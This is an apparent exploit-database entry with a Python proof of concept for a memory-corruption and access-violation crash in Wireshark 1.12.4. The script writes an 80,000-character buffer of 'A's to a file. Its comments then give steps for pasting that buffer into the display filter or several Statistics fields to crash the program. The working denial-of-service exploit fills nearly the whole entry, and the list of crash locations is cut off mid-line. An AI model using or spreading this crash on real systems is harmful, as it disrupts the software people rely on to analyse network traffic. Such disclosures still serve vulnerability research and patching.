Wireshark 1.12.4 - Memory Corruption and Access Violation (PoC)

Author: Avinash Thapa
type: dos
platform: multiple
port: 
date_added: 2015-04-30 
date_updated: 2015-04-30 
verified: 1 
codes: OSVDB-121645 
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#!/usr/bin/python
# EXPLOIT TITLE: WIRESHARK <=1.12.4 Access Violation and Memory Corruption PoC
# AUTHOR: Avinash Kumar Thapa "-Acid"
# Date of Testing: 26th April'2015
# Vendor Homepage: http://www.wireshark.org
# Tested On : Windows 8.1 Pro
# Steps to Reproduce the Crash
# Step 1: Create a File Using PoC
# Step 2: Go to wirehshark and in filter field, put ip.addr=={Buffer}
# Step 3: Click "Apply"
# Some other places for the Crash are:
# Statistics > IP Statistics then any of the field you can use.
# Statistics > Packet Length > Paste the buffer in the field
# Statistics > ANCP
# Statistics > Collectd
# Statistics > Compared
# Statistis  >


buffer = "A"*80000

file = open("wireshark.txt","w")
file.write(buffer)
file.close()

print "POC Created by -Acid"
print " Email: acid.exploit@gmail.com"